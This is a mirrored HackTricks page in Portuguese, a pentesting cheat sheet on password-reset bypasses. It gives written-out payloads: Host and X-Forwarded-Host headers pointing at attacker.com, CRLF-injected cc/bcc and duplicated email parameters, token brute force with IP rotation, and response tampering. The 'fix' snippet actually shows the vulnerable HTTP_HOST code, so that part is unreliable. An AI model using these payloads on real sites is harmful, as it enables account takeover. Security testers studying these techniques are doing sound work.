mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
325 lines
13 KiB
Markdown
325 lines
13 KiB
Markdown
# Bypass de Senha Reset/Esquecida
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
|
|
|
**Insights de Hacking**\
|
|
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|
|
|
**Notícias de Hacking em Tempo Real**\
|
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
|
|
|
**Últimos Anúncios**\
|
|
Fique informado sobre os mais novos bounties de bugs lançados e atualizações cruciais da plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
|
|
|
A seguinte compilação de técnicas foi retirada de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
|
|
|
## Vazamento do Token de Reset de Senha Via Referer
|
|
|
|
O **HTTP referer** é um campo opcional do cabeçalho HTTP que identifica o endereço da página da web que está vinculada ao recurso que está sendo solicitado. O cabeçalho de requisição Referer contém o endereço da página web anterior de onde foi seguido um link para a página atualmente solicitada.
|
|
|
|
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
|
|
|
### Exploração
|
|
|
|
* Solicite o reset de senha para o seu endereço de e-mail
|
|
* Clique no link de reset de senha
|
|
* Não altere a senha
|
|
* Clique em qualquer site de terceiros (ex: Facebook, Twitter)
|
|
* Intercepte a requisição no proxy do Burpsuite
|
|
* Verifique se o cabeçalho referer está vazando o token de reset de senha.
|
|
|
|
### Impacto
|
|
|
|
Permite que a pessoa que tem controle de um site específico altere a senha do usuário (ataque CSRF), porque essa pessoa conhece o token de reset de senha do usuário.
|
|
|
|
### Referência:
|
|
|
|
* https://hackerone.com/reports/342693
|
|
* https://hackerone.com/reports/272379
|
|
* https://hackerone.com/reports/737042
|
|
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
|
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
|
|
|
## Envenenamento de Reset de Senha
|
|
|
|
Se você encontrar um ataque ao cabeçalho do host e ele estiver fora do escopo, tente encontrar o botão de reset de senha!
|
|
|
|
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
|
|
|
### Exploração
|
|
|
|
* Intercepte a requisição de reset de senha no Burpsuite
|
|
* Adicione o seguinte cabeçalho ou edite o cabeçalho no Burpsuite (tente um por um)
|
|
```
|
|
Host: attacker.com
|
|
```
|
|
|
|
```
|
|
Host: target.com
|
|
X-Forwarded-Host: attacker.com
|
|
```
|
|
|
|
```
|
|
Host: target.com
|
|
Host: attacker.com
|
|
```
|
|
* Verifique se o link para alterar a senha dentro do e-mail está apontando para attacker.com
|
|
|
|
### Correção
|
|
|
|
Use `$_SERVER['SERVER_NAME']` em vez de `$_SERVER['HTTP_HOST']`
|
|
```php
|
|
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
|
```
|
|
### Impacto
|
|
|
|
A vítima receberá o link malicioso em seu e-mail e, ao clicar, irá vazar o link/token de redefinição de senha do usuário para o atacante, levando à tomada total da conta.
|
|
|
|
### Referência:
|
|
|
|
* https://hackerone.com/reports/226659
|
|
* https://hackerone.com/reports/167631
|
|
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
|
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
|
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
|
|
|
## Redefinição de Senha Manipulando o Parâmetro de Email
|
|
|
|
### Exploração
|
|
|
|
* Adicionar e-mail do atacante como segundo parâmetro usando &
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&email=attacker@email.com
|
|
```
|
|
* Adicione o e-mail do atacante como segundo parâmetro usando %20
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com%20email=attacker@email.com
|
|
```
|
|
* Adicione o e-mail do atacante como segundo parâmetro usando |
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com|email=attacker@email.com
|
|
```
|
|
* Adicione o e-mail do atacante como segundo parâmetro usando cc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
```
|
|
* Adicione o email do atacante como segundo parâmetro usando bcc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
```
|
|
* Adicione o e-mail do atacante como segundo parâmetro usando ,
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
```
|
|
* Adicione o e-mail do atacante como segundo parâmetro no array json
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
```
|
|
### Referência
|
|
|
|
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
|
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
|
|
|
## Alterando o Email e Senha de qualquer Usuário através de Parâmetros da API
|
|
|
|
### Exploração
|
|
|
|
* O atacante deve fazer login com sua conta e acessar a função de Mudar senha
|
|
* Iniciar o Burp Suite e Intercept a requisição
|
|
* Após interceptar a requisição, enviá-la para o repetidor e modificar os parâmetros Email e Senha
|
|
```php
|
|
POST /api/changepass
|
|
[...]
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
```
|
|
### Referência
|
|
|
|
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
|
|
|
### Sem Limitação de Taxa: Bombardeio de Email <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
|
|
|
### Exploração
|
|
|
|
* Inicie o Burp Suite e Intercepte a solicitação de redefinição de senha
|
|
* Envie para o intruso
|
|
* Use carga útil nula
|
|
|
|
### Referência
|
|
|
|
* https://hackerone.com/reports/280534
|
|
* https://hackerone.com/reports/794395
|
|
|
|
## Descubra Como o Token de Redefinição de Senha é Gerado
|
|
|
|
Descubra o padrão do token de redefinição de senha
|
|
|
|
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
|
|
|
Se ele
|
|
|
|
* Gerado com base no Timestamp
|
|
* Gerado com base no UserID
|
|
* Gerado com base no email do Usuário
|
|
* Gerado com base no Primeiro e Último nome
|
|
* Gerado com base na Data de Nascimento
|
|
* Gerado com base em Criptografia
|
|
|
|
Use o Burp Sequencer para encontrar a aleatoriedade ou previsibilidade dos tokens.
|
|
|
|
## GUID Adivinhável
|
|
|
|
Existem diferentes tipos de GUIDs:
|
|
|
|
* **Versão 0:** Apenas visto no GUID nulo ("00000000-0000-0000-0000-000000000000").
|
|
* **Versão 1:** O GUID é gerado de maneira previsível com base em:
|
|
* O momento atual
|
|
* Uma "sequência de relógio" gerada aleatoriamente que permanece constante entre os GUIDs durante o tempo de atividade do sistema gerador
|
|
* Um "ID de nó", que é gerado com base no endereço MAC do sistema, se disponível
|
|
* **Versão 3:** O GUID é gerado usando um hash MD5 de um nome e namespace fornecidos.
|
|
* **Versão 4:** O GUID é gerado aleatoriamente.
|
|
* **Versão 5:** O GUID é gerado usando um hash SHA1 de um nome e namespace fornecidos.
|
|
|
|
É possível olhar para um GUID e descobrir sua versão, existe uma pequena ferramenta para isso: [**guidtool**](https://github.com/intruder-io/guidtool)****
|
|
```http
|
|
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
|
UUID version: 1
|
|
UUID time: 2021-11-17 17:52:18.141000
|
|
UUID timestamp: 138564643381410000
|
|
UUID node: 17547390002044
|
|
UUID MAC address: 0f:f5:91:f2:a3:7c
|
|
UUID clock sequence: 3426
|
|
```
|
|
Se a versão utilizada para gerar um GUID de redefinição de senha for a versão 1, é possível forçar bruta dos GUIDS:
|
|
```http
|
|
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
|
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
|
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
|
```
|
|
### Referências
|
|
|
|
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
|
|
|
## Manipulação de resposta: Substituir resposta ruim por uma boa
|
|
|
|
Procure por Requisição e Resposta como estas
|
|
```php
|
|
HTTP/1.1 401 Unauthorized
|
|
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
|
```
|
|
Mudança de Resposta
|
|
```php
|
|
HTTP/1.1 200 OK
|
|
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
|
```
|
|
### Referência
|
|
|
|
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
|
|
|
### Usando Token Expirado <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
|
|
|
* Verifique se o token expirado pode ser reutilizado
|
|
|
|
### Força Bruta no Token de Redefinição de Senha <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
|
|
|
Tente forçar a descoberta do token de redefinição usando Burpsuite
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&code=$BRUTE$
|
|
```
|
|
* Use o IP-Rotator no burpsuite para contornar o limite de taxa baseado em IP.
|
|
|
|
### Referência
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
|
|
|
### Tente Usar Seu Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
|
|
|
* Tente adicionar seu token de redefinição de senha com a conta da vítima
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&code=$YOUR_TOKEN$
|
|
```
|
|
### Referência
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
|
|
|
## Invalidação de Sessão no Logout/Reset de Senha
|
|
|
|
Quando um usuário **faz logout ou redefine sua senha**, a sessão atual deve ser invalidada.\
|
|
Portanto, **capture os cookies** enquanto o usuário está logado, **faça logout** e **verifique** se os **cookies** ainda estão **válidos**.\
|
|
Repita o processo **mudando a senha** em vez de fazer logout.
|
|
|
|
## Tempo de Expiração do Token de Reset
|
|
|
|
Os **tokens de reset devem ter um tempo de expiração**, após isso o token não deve ser válido para alterar a senha de um usuário.
|
|
|
|
## Verificações Extras
|
|
|
|
* Use username@burp\_collab.net e analise o callback
|
|
* Usuário cópia de carbono email=victim@mail.com%0a%0dcc:hacker@mail.com
|
|
* Senha longa (>200) leva a DoS
|
|
* Anexe segundo parâmetro de email e valor
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
|
|
|
**Insights de Hacking**\
|
|
Interaja com conteúdo que explora a emoção e os desafios do hacking
|
|
|
|
**Notícias de Hacking em Tempo Real**\
|
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
|
|
|
**Últimos Anúncios**\
|
|
Fique informado com os mais novos bounties de bugs lançados e atualizações cruciais da plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
|
|
|
</details>
|